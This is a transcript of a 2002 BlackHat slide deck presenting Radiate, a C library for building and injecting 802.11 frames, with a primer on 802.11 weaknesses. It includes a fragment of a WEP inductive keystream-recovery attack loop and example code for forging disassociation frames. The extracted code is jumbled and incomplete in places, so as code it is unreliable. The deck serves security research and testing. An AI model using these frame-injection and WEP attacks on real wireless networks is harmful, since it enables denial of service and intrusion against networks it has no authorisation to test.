The Need for an 802.11 Wireless Toolkit Invictus Ferramenta Mike Schiffman BlackHat Briefings July...
-
Upload
stephanie-rollins -
Category
Documents
-
view
216 -
download
0
Transcript of The Need for an 802.11 Wireless Toolkit Invictus Ferramenta Mike Schiffman BlackHat Briefings July...
The Need for an 802.11 Wireless ToolkitInvictus Ferramenta
Mike Schiffman
BlackHat Briefings July 2002
© 2 0 0 2 @ S T A K E , I N C .
Agenda
1. Introduction and Overview
2. Protocol Primer
3. Protocol Flaws
4. Existing Tools
5. Gap Analysis
6. Radiate
7. Theory into Practice
8. Closing Comments and Questions
© 2 0 0 2 @ S T A K E , I N C .
Mike Schiffman• [email protected]
• Senior Consultant with @stake
• The Premier provider of Digital Security Services
• Centers Of Excellence
• Technical Advisory Board for Qualys
• R&D background
• Firewalk, Libnet, Libsf, Libradiate
• Books:
• Building Open Source Network Security Tools, Wiley & Sons
• Hacker’s Challenge I, Osborne McGraw-Hill
• Hacker’s Challenge II, Osborne McGraw-Hill
© 2 0 0 2 @ S T A K E , I N C .
Overview
• What you will learn
• Weaknesses in the 802.11 protocol
• The nature of asynchronous flaws
• How to use libradiate to build custom 802.11 security tools
• What you should know
• General understanding of the TCP/IP protocol suite
• Primarily layers 2 - 3
• General understanding of 802.11
• General network security concepts
• The C programming language
© 2 0 0 2 @ S T A K E , I N C .
Nomenclature
• Network Security Tool or Tool
• A network security tool is an algorithmic implement that is designed to probe, assess, or increase the overall safety of or mitigate risk associated with an entity across a communications medium.
• Toolkit
• An API, or set of APIs used to build Network Security Tools
• A C programming library
• “Component”
© 2 0 0 2 @ S T A K E , I N C .
802.11 is Fantastic
• 802.11-based networks are incredibly useful
• Many new products and services on top of them
• Newer, faster physical interfaces being turned out on top of the same layer 2
• There are a “few” security concerns…
• And yes, we need a way to be able to test for these issues
• Some tools do exist
• But what we really need is a way to be able to test for arbitrary security issues with arbitrary tools
• We need a generic 802.11 toolkit
© 2 0 0 2 @ S T A K E , I N C .
802.11 Primer
• Borne out of the IEEE 802 LMSC
• 802.11 WLAN standard
• PHY layer: 802.11b 2.4Ghz @ 11Mbps
• PHY layer: 802.11a 5Ghz @ 54Mbps
• Drop in replacement for Ethernet
• Upper layer protocols should be none the wiser
• This seamless integration comes at a stiff price – under the hood complexity
© 2 0 0 2 @ S T A K E , I N C .
802.11 Primer: Physical Interface
• DSSS
• Direct Sequence Spread Spectrum
• 2.4GHz ISM Band
• Industrial / Instrumentation, Scientific, Medical
• 2.400GHz – 2.4835GHz
• 14 channels or frequency divisions
• 1 – 11 used in the United States
• 1000mW power maximum
• Most devices are 30mW – 100mW
© 2 0 0 2 @ S T A K E , I N C .
802.11 Primer: MAC Sublayer Tidbits
• CSMA/CA
• LBT (Listen Before Talk)
• Exponential back off and retry
• Collision avoidance via physical carrier sense and NAV
• Network Allocation Vector
• Virtual Carrier Sense
© 2 0 0 2 @ S T A K E , I N C .
Configuration Options
AD Hoc Infrastructure
© 2 0 0 2 @ S T A K E , I N C .
Management Frame Subtypes
• Beacon
• Transmitted frequently announcing availability and capabilities of BSS
• Probe Request and Response
• Client initiated request for a WLAN
• Response is essentially the same as a beacon
• Associate Request and Response
• “I’d like to be a part of your BSS”
• Disassociate
• Tell your story walking!
© 2 0 0 2 @ S T A K E , I N C .
Control Frame Subtypes
• RTS
• “I’d like to send a frame or two”
• Updates NAV values for neighboring stations (transmitter)
• CTS
• “Sounds good”
• Updates NAV values for neighboring stations (receiver)
• ACK
• “Got your data”
• Also updates NAV as per CTS
© 2 0 0 2 @ S T A K E , I N C .
802.11 Frame Layout
Frame Control (2 bytes)
Duration / ID (2 bytes) Address One (6 bytes)
Address Two (6 bytes)
Address Three (6 bytes)
Sequence Control (2 bytes)
Address Four (6 bytes)
Data (0 - 2312 bytes) FCS (4 bytes)
802.11 Frame Format [34 - 2344 bytes]
© 2 0 0 2 @ S T A K E , I N C .
802.11 Control Field
2
Protocol Version Frame Type Frame Subtype
2 4 1 1 1 1 1 1 1 1
Control Flags
To DS
From DS
More Frags
Retry
PWR mgmt
More data
WEP
Other
802.11 Frame Control Field [16 bits]
© 2 0 0 2 @ S T A K E , I N C .
802.11 Types and Subtypes
2 2 4 1 1 1 1 1 1 1 1
00 - Management Frame Type 01 - Control Frame Type 10 - Data Frame Type
0000 - association request0001 - association response0010 - reassociation request0011 - reassociation response0100 - probe request0101 - probe response1000 - beacon1010 - disassociation1011 - authentication1100 - deauthentication
00 - Protocol Version
1010 - power save poll1011 - RTS1100 - CTS1101 - ACK1110 - CF-end1111 - CF-end + CF-ACK
0000 - data0001 - data + CF-ACK0010 - data + CF-poll0011 - data + CF-ACK + CF-poll0100 - NULL (no data)0101 - CF-ACK (no data)0110 - CF-poll (no data)0111 - CF-ACK + CF-poll (no data)
802.11 Types and Subtypes
© 2 0 0 2 @ S T A K E , I N C .
A Grip of 802.11 Protocol Weaknesses
• Wired Equivalent Privacy (WEP)
• Management and Control Frames
• Probe request and replies
• No authentication or encryption
• Vendor Specific Issues
• State maintenance
• Fringe frames / packets
© 2 0 0 2 @ S T A K E , I N C .
WEP Weaknesses
• Keysizes
• Weak IVs
• Growing keyspace via Induction
• Key Management Issues
• Revocation and Expiry
• Distribution
• Rotation
© 2 0 0 2 @ S T A K E , I N C .
802.11 Management Weaknesses
• Neither encrypted nor authenticated
• Information leakage
• Access point and client enumeration
• Spoofing
• Denial of Service
• Association thievery
• Data injection
• Flooding
• Denial of Service
© 2 0 0 2 @ S T A K E , I N C .
802.11 Vendor Specific Weaknesses
• Every device is different often from a separate codebase
• Different IP stacks
• Different sizes of state tables
• Flooding
• Different sanity checks on frames / packets
• Fringe frames / packets
• Different devices have different Infrastructure
• SNMP
• telnet
© 2 0 0 2 @ S T A K E , I N C .
802.11 Weaknesses Summary
• It’s a new protocol
• All of these are problems we’ve seen before
• Exacerbated by the fact that a wireless medium is inherently insecure
• A myriad of tools exist to test for similar vulnerabilities on wired networks…
• There are several toolkits available
• Libnet
• Libdnet
• Libpcap
© 2 0 0 2 @ S T A K E , I N C .
Existing 802.11 Network Security Tools
• AiroPeek / AiroPeek NX
• Wireless frame sniffer / analyzer
• AirTraf
• Wireless sniffer / analyzer / “IDS”
• AirSnort
• WEP key “cracker”
• NetStumbler
• Access point enumeration tool
© 2 0 0 2 @ S T A K E , I N C .
Where Existing Tools Come Up Lacking
• Very task-oriented and specific
• Closed-source tools are not tunable
• “I’d like to use NetStumbler to listen for Beacons”
• TOUGH LUCK DORKUS!
• In order to test for unspecified security issues there needs to be a generic testing framework…
© 2 0 0 2 @ S T A K E , I N C .
Case Study: The Byzantine Generals Problem
• It is important for an 802.11 network to be robust
• Strongly formed or constructed
• Byzantine Robustness meansproof against Byzantine failure
• Byzantine generals problem(3t + 1)
© 2 0 0 2 @ S T A K E , I N C .
Omerta (Byzantine Fault Injection)
© 2 0 0 2 @ S T A K E , I N C .
Byzantine Failure and the Need for a Toolkit
• Byzantine fault injection
• Omerta in practice
• Theories are nice, code is better
• In order to ferret out Byzantine failure vulnerabilities requires arbitrary security tools
• A generic toolkit would allow an application developer to build tools to test for Byzantine failures via controlled Byzantine fault injection
• One example of such a toolkit for wired networks would be our handsome friend Libnet…
© 2 0 0 2 @ S T A K E , I N C .
Omerta Frame Dump
© 2 0 0 2 @ S T A K E , I N C .
Omerta Frame Dump
© 2 0 0 2 @ S T A K E , I N C .
Radiate
• The 802.11 wireless analog (addition?) to Libnet
• 802.11 frame capturing, creation and injection library
• Simple C library consisting of a few function calls and a header file
• Version 0.3 currently runs only under Intersil Prism2-based cards
• SMC, D-link, etc
• Prism-2.5 support?
© 2 0 0 2 @ S T A K E , I N C .
Radiate 50,000 Foot View
802.11 Data Frame802.11 Management Frame
Radiate
© 2 0 0 2 @ S T A K E , I N C .
Radiate and Related Component Relationships
Prism2 firmware Linux 2.4.7 kernel
Libnet packet creation and
injection
ssh.com host AP driver
Radiate802.11 frame sniffing, creation and injection
Omerta802.11 disassociation
attack
GriftWEP inductive attack
Flut802.11 auth flood
attack
© 2 0 0 2 @ S T A K E , I N C .
Radiate 25,000 Foot View
RadiateRadiate
(initialized)
802.11 Management Frame
radiate_init();radiate_build_mgmt_frame();radiate_write();radiate_destroy();
© 2 0 0 2 @ S T A K E , I N C .
Radiate Primerlibnet_ptag_tlibnet_build_ipv4(u_short len, u_char tos, u_short id, u_short frag, u_char ttl, u_char prot, u_short sum, u_long src, u_long dst, u_char *payload, u_long payload_s, libnet_t *l, libnet_ptag_t ptag){ int i, j, offset; u_long n; u_short h; libnet_pblock_t *p, *p_data, *p_temp; struct libnet_ipv4_hdr ip_hdr; libnet_ptag_t ptag_data, ptag_hold;
if (l == NULL) { return (-1); }
n = LIBNET_IPV4_H + payload_s; /* size of memory block */ h = len; /* header length */ ptag_data = 0; /* used if options are present */
if (h + payload_s > IP_MAXPACKET) { sprintf(l->err_buf, "libnet_build_ipv4(): IP packet too large\n"); return (-1); }
/* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV4_H); if (p == NULL) { return (-1); }
ip_hdr.ip_v = 4; /* version 4 */ ip_hdr.ip_hl = 5; /* 20 byte header */
/* check to see if there are IP options to include */ if (p->prev) { if (p->prev->type == LIBNET_PBLOCK_IPO_H) { /* * Count up number of 32-bit words in options list, padding if * neccessary. */
for (i = 0, j = 0; i < p->prev->b_len; i++) { (i % 4) ? j : j++; } ip_hdr.ip_hl += j; } }
ip_hdr.ip_tos = tos; /* IP tos */ ip_hdr.ip_len = htons(h); /* total length */ ip_hdr.ip_id = htons(id); /* IP ID */ ip_hdr.ip_off = htons(frag); /* fragmentation flags */ ip_hdr.ip_ttl = ttl; /* time to live */ ip_hdr.ip_p = prot; /* transport protocol */ ip_hdr.ip_sum = sum; /* checksum */ ip_hdr.ip_src.s_addr = src; /* source ip */ ip_hdr.ip_dst.s_addr = dst; /* destination ip */
n = libnet_pblock_append(l, p, (u_char *)&ip_hdr, LIBNET_IPV4_H); if (n == -1) { goto bad; }
/* save the original ptag value */ ptag_hold = ptag;
/* if this is a new ptag, update the block */ if (ptag == LIBNET_PTAG_INITIALIZER) { ptag = libnet_pblock_update(l, p, LIBNET_IPV4_H, LIBNET_PBLOCK_IPV4_H); }
if (payload && payload_s) { /* find and set the appropriate ptag, or else use the default of 0 */ if (ptag_hold && p->prev) { p_temp = p->prev; while (p_temp->prev && (p_temp->type != LIBNET_PBLOCK_IPDATA)) { p_temp = p_temp->prev; }
if (p_temp->type == LIBNET_PBLOCK_IPDATA) { /* save the IP data pblock */ ptag_data = p_temp->ptag; offset = payload_s - p_temp->b_len;
p->h_len += offset; } else { offset = payload_s; } }
p_data = libnet_pblock_probe(l, ptag_data, payload_s, LIBNET_PBLOCK_IPDATA); if (p_data == NULL) { return (-1); }
if (libnet_pblock_append(l, p, payload, payload_s) == -1) { goto bad; }
if (ptag_data == LIBNET_PTAG_INITIALIZER) { if (p_data->prev->type == LIBNET_PBLOCK_IPV4_H) { libnet_pblock_update(l, p_data, payload_s, LIBNET_PBLOCK_IPDATA); /* swap pblocks to correct the protocol order */ libnet_pblock_swap(l, p->ptag, p_data->ptag); } else { /* update without setting this as the final pblock */ p_data->type = LIBNET_PBLOCK_IPDATA; p_data->ptag = ++(l->ptag_state); p_data->h_len = payload_s;
/* Adjust h_len for checksum. */ p->h_len += payload_s;
/* data was added after the initial construction */ for (p_temp = l->protocol_blocks; p_temp->type == LIBNET_PBLOCK_IPV4_H || p_temp->type == LIBNET_PBLOCK_IPO_H; p_temp = p_temp->next) { libnet_pblock_insert_before(l, p_temp->ptag, p_data->ptag); break; }
/* The end block needs to have its next pointer cleared. */ l->pblock_end->next = NULL; }
if (p_data->prev && p_data->prev->type == LIBNET_PBLOCK_IPO_H) { libnet_pblock_swap(l, p_data->prev->ptag, p_data->ptag); } } }
if (sum == 0 && l->injection_type != LIBNET_RAW4) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag);bad: libnet_pblock_free(p); return (-1);}
libnet_ptag_tlibnet_autobuild_ipv4(u_short len, u_char prot, u_long dst, libnet_t *l){ int i, j; u_long n; u_long src; u_short h; libnet_pblock_t *p; libnet_ptag_t ptag; struct libnet_ipv4_hdr ip_hdr;
if (l == NULL) { return (-1); }
n = LIBNET_IPV4_H; /* size of memory block */ h = len; /* header length */ ptag = LIBNET_PTAG_INITIALIZER; src = libnet_get_ipaddr4(l); if (src == -1) { /* err msg set in libnet_get_ipaddr() */
return (-1); }
/* * Create a new pblock. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV4_H); if (p == NULL) { return (-1); } ip_hdr.ip_v = 4; /* version 4 */ ip_hdr.ip_hl = 5; /* 20 byte header */
/* check to see if there are IP options to include */ if (p->prev) { if (p->prev->type == LIBNET_PBLOCK_IPO_H) { /* * Count up number of 32-bit words in options list, padding if * neccessary. */ for (i = 0, j = 0; i < p->prev->b_len; i++) { (i % 4) ? j : j++; } ip_hdr.ip_hl += j; } }
ip_hdr.ip_tos = 0; /* IP tos */ ip_hdr.ip_len = htons(h); /* total length */ ip_hdr.ip_id = htons((l->ptag_state) & 0x0000ffff); /* IP ID */ ip_hdr.ip_off = 0; /* fragmentation flags */ ip_hdr.ip_ttl = 64; /* time to live */ ip_hdr.ip_p = prot; /* transport protocol */ ip_hdr.ip_sum = 0; /* checksum */ ip_hdr.ip_src.s_addr = src; /* source ip */ ip_hdr.ip_dst.s_addr = dst; /* destination ip */
n = libnet_pblock_append(l, p, (u_char *)&ip_hdr, LIBNET_IPV4_H); if (n == -1) { goto bad; }
if (l->injection_type != LIBNET_RAW4) {
libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (libnet_pblock_update(l, p, LIBNET_IPV4_H, LIBNET_PBLOCK_IPV4_H));bad: libnet_pblock_free(p); return (-1);}
libnet_ptag_tlibnet_build_ipv4_options(u_char *options, u_long options_s, libnet_t *l, libnet_ptag_t ptag){ int i, j, offset, underflow; u_long n, adj_size; libnet_pblock_t *p, *p_temp; struct libnet_ipv4_hdr *ip_hdr;
if (l == NULL) { return (-1); } underflow = 0; offset = 0;
/* check options list size */ if (options_s > LIBNET_MAXOPTION_SIZE) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "libnet_build_ipv4_options: options list is too large %ld\n", options_s); return (-1); }
adj_size = options_s; if (adj_size % 4) { /* size of memory block with padding */ adj_size += 4 - (options_s % 4); }
/* if this pblock already exists, determine if there is a size diff */ if (ptag) { p_temp = libnet_pblock_find(l, ptag); if (p_temp) { if (adj_size >= p_temp->b_len) { offset = adj_size - p_temp->b_len;
u_char *radiate_build_mgmt_frame(u_char *addr1, u_char *addr2, u_char *addr3, u_char subtype, u_char control, u_char *payload, int payload_s, radiate_t *r){ struct hfa384x_tx_frame tx; u_char *buf;
/* XXX - this needs to get free()'d */ buf = malloc(sizeof(tx) + payload_s); if (buf == NULL) { snprintf(r->err_buf, RADIATE_ERRBUF_SIZE, "malloc(): %s\n", strerror(errno)); return (NULL); }
memcpy(&tx.addr1, addr1, 6); memcpy(&tx.addr2, addr2, 6); memcpy(&tx.addr3, addr3, 6);
tx.frame_control = host_to_le16((WLAN_FC_TYPE_MGMT << 2) | (subtype << 4) | (control << 8)); tx.status = 0; tx.reserved1 = 0; tx.reserved2 = 0; tx.retry_count = 0; tx.tx_control = host_to_le16(HFA384X_TX_CTRL_802_11 | HFA384X_TX_CTRL_TX_EX | HFA384X_TX_CTRL_TX_OK);
tx.data_len = host_to_le16(payload_s); tx.tx_rate = 0;
memcpy(buf, &tx, sizeof (tx)); memcpy(buf + sizeof (tx), payload, sizeof (payload_s));
return (buf);}
u_char *radiate_build_data_frame(u_char *addr1, u_char *addr2, u_char *addr3, u_char subtype, u_char control, u_char *payload, int payload_s, radiate_t *r){ struct hfa384x_tx_frame tx; u_char *buf;
/* XXX - this needs to get free()'d */ buf = malloc(sizeof(tx) + payload_s); if (buf == NULL) { snprintf(r->err_buf, RADIATE_ERRBUF_SIZE, "malloc(): %s\n", strerror(errno)); return (NULL); }
memcpy(&tx.addr1, addr1, 6); memcpy(&tx.addr2, addr2, 6); memcpy(&tx.addr3, addr3, 6);
tx.frame_control = host_to_le16((WLAN_FC_TYPE_DATA << 2) | (subtype << 4) | (control << 8)); tx.status = 0; tx.reserved1 = 0; tx.reserved2 = 0; tx.retry_count = 0; tx.tx_control = host_to_le16(HFA384X_TX_CTRL_802_11 | HFA384X_TX_CTRL_TX_EX | HFA384X_TX_CTRL_TX_OK);
tx.data_len = host_to_le16(payload_s); tx.tx_rate = 0;
memcpy(buf, &tx, sizeof (tx)); memcpy(buf + sizeof (tx), payload, payload_s);
return (buf);}
#define RADIATE_GET_BIT(x) (1 << (x))#define RADIATE_GET_TYPE(fc) (((fc) & (RADIATE_GET_BIT(3) | \ RADIATE_GET_BIT(2))) >> 2)#define RADIATE_TYPE_MGMT 0x00#define RADIATE_TYPE_CTRL 0x01#define RADIATE_TYPE_DATA 0x02
/* mgmt frame subtype */
#define RADIATE_MGMT_STYPE_ASSOC_REQ 0x00#define RADIATE_MGMT_STYPE_ASSOC_RESP 0x01#define RADIATE_MGMT_STYPE_REASSOC_REQ 0x02#define RADIATE_MGMT_STYPE_REASSOC_RESP 0x03#define RADIATE_MGMT_STYPE_PROBE_REQ 0x04#define RADIATE_MGMT_STYPE_PROBE_RESP 0x05#define RADIATE_MGMT_STYPE_BEACON 0x08#define RADIATE_MGMT_STYPE_DISASSOC 0x0a#define RADIATE_MGMT_STYPE_AUTH 0x0b#define RADIATE_MGMT_STYPE_DEAUTH 0x0c
/* data frame subtype */
#define RADIATE_DATA_STYPE_DATA 0x00#define RADIATE_DATA_STYPE_DATA_CFACK 0x01#define RADIATE_DATA_STYPE_DATA_CFPOLL 0x02#define RADIATE_DATA_STYPE_DATA_CFACKPOLL 0x03#define RADIATE_DATA_STYPE_NULLFUNC 0x04#define RADIATE_DATA_STYPE_CFACK 0x05#define RADIATE_DATA_STYPE_CFPOLL 0x06#define RADIATE_DATA_STYPE_CFACKPOLL 0x07
/* control flags */
#define RADIATE_CTRL_TODS 0x01#define RADIATE_CTRL_FRDS 0x02#define RADIATE_CTRL_MFRG 0x04#define RADIATE_CTRL_RTRY 0x08#define RADIATE_CTRL_PWR 0x10#define RADIATE_CTRL_MDTA 0x20#define RADIATE_CTRL_WEP 0x40#define RADIATE_CTRL_ORDR 0x80
/* IEEE 802.2 LLC SNAP header */unsigned char llc_snap[8] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00};
/* * Our packet should end up looking like this: * * [802.11 header][IV/K][SNAP][IP][ICMP][payload][ICV] * 24 4 8 20 8 l 4 */ memset(buf1, 0, sizeof (buf1));
/* first build the data portion of the 802.11 packet */
/* copy over IV and key number == 4 bytes */ //memcpy(buf1, g->ivk, IVK_LEN);
/* copy over LLC/SNAP == 8 bytes */ memcpy(buf1 /*+ IVK_LEN*/, llc_snap, SNAP_LEN);
/* copy over IP + ICMP + payload == packet_len bytes*/ memcpy(buf1 /*+ IVK_LEN*/ + SNAP_LEN, icmp_packet, icmp_packet_s);
/* XXX - Need to XOR encryped packet with regular packet to get ks */
/* compute icv over SNAP, IP, ICMP and payload */ icv = compute_icv(buf1 + IVK_LEN, SNAP_LEN + icmp_packet_s);
/* copy over ICV */ //memcpy(buf1 + IVK_LEN + SNAP_LEN + icmp_packet_s, &icv, ICV_LEN);
/* total length of wep packet */ wep_packet_s = sizeof (struct hfa384x_tx_frame)/*+ IVK_LEN*/ + SNAP_LEN + icmp_packet_s /*+ ICV_LEN*/;
/* build ieee 802.11 header using buf1 as payload */ wep_packet = radiate_build_data_frame(g->src_mac, g->dst_mac, g->bssid, WLAN_FC_STYPE_DATA, 1, buf1, wep_packet_s - sizeof (struct hfa384x_tx_frame), g->r);
/* PRINT_DATA(wep_packet, wep_packet_s); */
/* loop 256 times incrementing our byte counter */ for (j = 0, found_byte = 0; j < 256; j++) { if (radiate_write(wep_packet, wep_packet_s, g->r) == -1) { perror("radiate write"); return (-1); } fprintf(stderr, "byte: 0x%x\r", wep_packet[wep_packet_s - 1]);
/* * Encrypt packet by XORing new packet with keystream making sure * to step over the hfa384x_tx_frame header and the IVK. * Encrypt all but the last byte (for which we dont know the * keystream yet). */ for (j = offset + IVK_LEN, k = 0; k < keystream_s; j++, k++) { wep_packet[j] = wep_packet[j] ^ keystream[k]; }
/* here's the last unencrypted byte in the packet */ last_byte = wep_packet[wep_packet_s - 1];
/* loop 256 times incrementing our byte counter */ for (j = 0, found_byte = 0; j < 256; j++) { /* encrypt the last byte in the packet with j */ wep_packet[wep_packet_s - 1] = last_byte ^ j;
if (radiate_write(wep_packet, wep_packet_s, g->r) == -1) { fprintf(stderr, "radiate write(): %s", radiate_geterror(g->r)); return (-1); } fprintf(stderr, "byte: 0x%x\r", wep_packet[wep_packet_s - 1]);
/* look for a response packet (which we can't demultiplex) */ switch (read_response(g)) { case 1: /* got a response, move on to next byte */ fprintf(stderr, "\nGot keystream byte %ld: 0x%x.\n", keystream_s + 1, j); keystream[keystream_s] = j; PRINT_DATA(keystream, keystream_s); /* move on the next keystream byte */ keystream_s++; found_byte = 1; break; case 0: break; case -1: fprintf(stderr, "\nRead error.\n"); return (-1); break; }
/* * Compute the CRC of the contents of a buffer * * CRC generator G(x) is the sum of x^n for * n = 32, 26, 23, 22, 16, 12, 11, 10, 8, 7, 5, 4, 2, 1, 0 */unsigned intcompute_icv(unsigned char *buf, int len){ unsigned int val;
val = ~0; while (len--) { val = crc_table[(val ^ *buf) & 0xff] ^ (val >> 8); buf++; }
© 2 0 0 2 @ S T A K E , I N C .
Radiate Context and Framework Functionsstruct radiate_context{ int fd; u_char flags;#define RADIATE_VERBOSE 0x1 /* verbose debug information */ char err_buf[RADIATE_ERRBUF_SIZE];};typedef struct radiate_context radiate_t;
radiate_t *radiate_init(u_char control_flags, char *err_buf);
void radiate_destroy(radiate_t *r);
© 2 0 0 2 @ S T A K E , I N C .
Construction Functions
u_char * radiate_build_mgmt_frame(u_char *a1, u_char *a2, u_char *a3, u_char subtype, u_char control, u_char *payload, int payload_s, radiate_t *r);
u_char * radiate_build_data_frame(u_char *a1, u_char *a2, u_char *a3, u_char subtype, u_char control, u_char *payload, int payload_s, radiate_t *r);
© 2 0 0 2 @ S T A K E , I N C .
Construction Function Symbolic Constants/* management subtypes */RADIATE_MGMT_STYPE_ASSOC_REQ /* association request */RADIATE_MGMT_STYPE_ASSOC_RESP /* association response */RADIATE_MGMT_STYPE_REASSOC_REQ /* reassociation request */RADIATE_MGMT_STYPE_REASSOC_RESP /* reassociation response */RADIATE_MGMT_STYPE_PROBE_REQ /* probe request */RADIATE_MGMT_STYPE_PROBE_RESP /* probe response */RADIATE_MGMT_STYPE_BEACON /* beacon */RADIATE_MGMT_STYPE_DISASSOC /* disassociaion */RADIATE_MGMT_STYPE_AUTH /* authentication */RADIATE_MGMT_STYPE_DEAUTH /* deauthentication */
/* data subtypes */RADIATE_DATA_STYPE_DATA /* just data */RADIATE_DATA_STYPE_DATA_CFACK /* data + contention free + ACK */RADIATE_DATA_STYPE_DATA_CFPOLL /* data + contention free + poll */RADIATE_DATA_STYPE_DATA_CFACKPOLL /* data + contention free + ACK/poll */RADIATE_DATA_STYPE_NULLFUNC /* NULL function (no data) */RADIATE_DATA_STYPE_CFACK /* contention free + ACK */RADIATE_DATA_STYPE_CFPOLL /* contention free + poll */RADIATE_DATA_STYPE_CFACKPOLL /* contention free + ACK/poll */
/* control bits, logical OR together to combine */RADIATE_CTRL_TODS /* to DS */RADIATE_CTRL_FRDS /* from DS */RADIATE_CTRL_MFRG /* more fragments */RADIATE_CTRL_RTRY /* retry */RADIATE_CTRL_PWR /* power management */RADIATE_CTRL_MDTA /* more data */RADIATE_CTRL_WEP /* WEP */RADIATE_CTRL_ORDR /* order */
© 2 0 0 2 @ S T A K E , I N C .
Capture and Injection Functionsint radiate_read(u_char **buf, radiate_t *r);
int radiate_write(u_char *frame, int frame_s, radiate_t *r);
struct hfa384x_rx_frame { /* HFA384X RX frame descriptor */ u16 status; /* HFA384X_RX_STATUS_ flags */ u32 time; /* timestamp, 1 microsecond resolution */ u8 silence; /* 27 .. 154; seems to be 0 */ u8 signal; /* 27 .. 154 */ u8 rate; /* 10, 20, 55, or 110 */ u8 rxflow; u32 reserved;
/* 802.11 */ u16 frame_control; u16 duration_id; u8 addr1[6]; u8 addr2[6]; u8 addr3[6]; u16 seq_ctrl; u8 addr4[6]; u16 data_len;
/* 802.3 */ u8 dst_addr[6]; u8 src_addr[6]; u16 len;
/* followed by frame data; max 2304 bytes */} __attribute__ ((packed));
© 2 0 0 2 @ S T A K E , I N C .
Miscellaneous Functionsint radiate_set_mm(char *mode, radiate_t *r);
char *radiate_geterror(radiate_t *r);
© 2 0 0 2 @ S T A K E , I N C .
Radiate Initialization
• Radiate Context
• Communication with the kernel via a netlink socket
• Maintains state
radiate_t *r;u_char control_flags = 0;
r = radiate_init(control_flags, errbuf);if (r == NULL){ fprintf(stderr, “radiate_init(): %s”, errbuf);}
© 2 0 0 2 @ S T A K E , I N C .
Radiate Data Frame Creation
• Implicit malloc(3)
u_char *buf;u_char data = “packet payload”;
buf = radiate_build_data_frame(mac1, mac2, bssid, RADIATE_DATA_STYPE_DATA, 0, data, strlen(data), r);if (buf == NULL){ fprintf(stderr, “radiate_build_data_frame(): %s\n”, radiate_geterror(r)); goto bad;}
© 2 0 0 2 @ S T A K E , I N C .
Radiate Management Frame Creation
• Implicit malloc(3)
u_char *buf;u_char data = RADIATE_REASON_PREV_AUTH_NOT_VALID;
buf = radiate_build_mgmt_frame(mac1, mac2, bssid, RADIATE_MGMT_STYPE_DISASSOC, 0, (u_char *)&data, sizeof (data), r);
if (buf == NULL){ fprintf(stderr, “radiate_build_mgmt_frame(): %s\n”, radiate_geterror(r)); goto bad;}
© 2 0 0 2 @ S T A K E , I N C .
Radiate Frame Capture
• Blocking read via recv(2)
• Buffer will contain an 802.11 frame with an hfa384x_rx_frame header prepended
u_char *buf;int c;
c = radiate_read(&buf, r);if (c == -1){ fprintf(stderr, "radiate_read(): %s\n", radiate_geterror(r)); goto bad;}
© 2 0 0 2 @ S T A K E , I N C .
Radiate Frame Injection
• Write via send(2)
• Buffer will contain an 802.11 frame with an hfa384x_rx_frame header prepended – radiate handles the semantics
int c;
c = radiate_write(frame, frame_s, r);if (c == -1){ fprintf(stderr, “radiate_write(): %s\n”, radiate_geterror(r)); goto bad;}
© 2 0 0 2 @ S T A K E , I N C .
Radiate and Libnet – Two Best Pals!
• Use Libnet to build the Layer3 and above headers
• The Arbaugh Inductive attackwas implemented usingRadiate
• Remember: Theories are nice,Code is better!
Layer 3
Layer 4
Layer 5
Layer 2
Layer 6
Layer 7
Radiate
Libnet
© 2 0 0 2 @ S T A K E , I N C .
Theory into Practice…
Frame Control (2 bytes)
Duration / ID (2 bytes) Address One (6 bytes)
Address Two (6 bytes)
Address Three (6 bytes)
Sequence Control (2 bytes)
DSAP (1 byte)
SSAP (1 byte)
Control (1 byte)
OUI (3 bytes)
Type (2 bytes)
Version / HL (1 byte)
TOS (1 byte)
Total Length (2 bytes)
ID (2 bytes)
Fragmentation (2 bytes)
TTL (1 byte) Protocol (1 byte)
Checksum (2 bytes)
Source (4 bytes)
Destination (4 bytes)
Type (1 byte)
Code (1 byte)
Checksum (2 bytes)
ID (2 bytes)
Sequence (2 bytes)
IP headerSNAP header ICMP header802.11b data header
Rad
iate
Lib
net
© 2 0 0 2 @ S T A K E , I N C .
Using Libradiate and Libnet
• Disperse
• Small 300 line program (with copious comments)
• Uses libradiate and libnet to build and send an 802.11b encapsulated ICMP ECHO packet
© 2 0 0 2 @ S T A K E , I N C .
disperse.h
#include <errno.h>#include <time.h>#include <libnet.h>#include <radiate.h>
void do_ioctl(char *, radiate_t *r);void usage(char *);
/* IEEE 802.2 LLC SNAP header */unsigned char llc_snap[8] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00};
struct disperse_pack{ radiate_t *r; /* radiate context */ libnet_t *l; /* libnet context */ u_char protocol; /* protocol */ u_char *frame; /* frame pointer */ u_char *dst_mac; /* destination MAC address */ u_char *src_mac; /* source MAC address */ u_char *bssid; /* BSSID address */ u_long dst_ip; /* destination IP address */ u_long src_ip; /* source IP address */ u_char *payload; /* packet payload */};
© 2 0 0 2 @ S T A K E , I N C .
disperse.c, Libnet Initialization
#include "disperse.h"
intmain(int argc, char **argv){ int c, unused; libnet_ptag_t ptag; struct disperse_pack *dp; u_char *ip_packet, *payload; u_long ip_packet_s, payload_s; char err_buf[LIBNET_ERRBUF_SIZE];
printf("Disperse [Libradiate sample code]\n");
dp = malloc(sizeof (struct disperse_pack)); if (dp == NULL) { fprintf(stderr, "malloc() %s\n", strerror(errno)); return (EXIT_FAILURE); } memset(dp, 0, sizeof (struct disperse_pack));
/* initialize our dummy libnet context, needed for packet construction */ dp->l = libnet_init( LIBNET_RAW4_ADV, /* injection type */ NULL, /* network interface */ err_buf); /* errbuf */
© 2 0 0 2 @ S T A K E , I N C .
